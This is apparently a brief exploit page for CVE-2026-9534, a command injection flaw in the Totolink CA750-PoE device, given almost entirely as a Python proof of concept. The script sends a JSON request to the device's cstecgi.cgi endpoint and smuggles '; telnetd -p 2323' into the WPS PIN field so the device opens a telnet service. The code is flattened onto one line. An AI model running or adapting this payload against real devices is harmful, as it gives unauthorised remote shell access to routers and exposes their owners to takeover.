CVE-2026-9534 Totolink CA750-PoE 命令注入漏洞

import requests # Target URL url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Payload to inject command (e.g., telnetd enable or simple ping) # Using semicolon to bypass original command logic injected_cmd = "; telnetd -p 2323" # Construct data payload based on vulnerable function setWiFiWpsConfig payload_data = { "function": "setWiFiWpsConfig", "PIN": injected_cmd } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-9534-Scanner" } try: # Send the malicious request response = requests.post(url, json=payload_data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")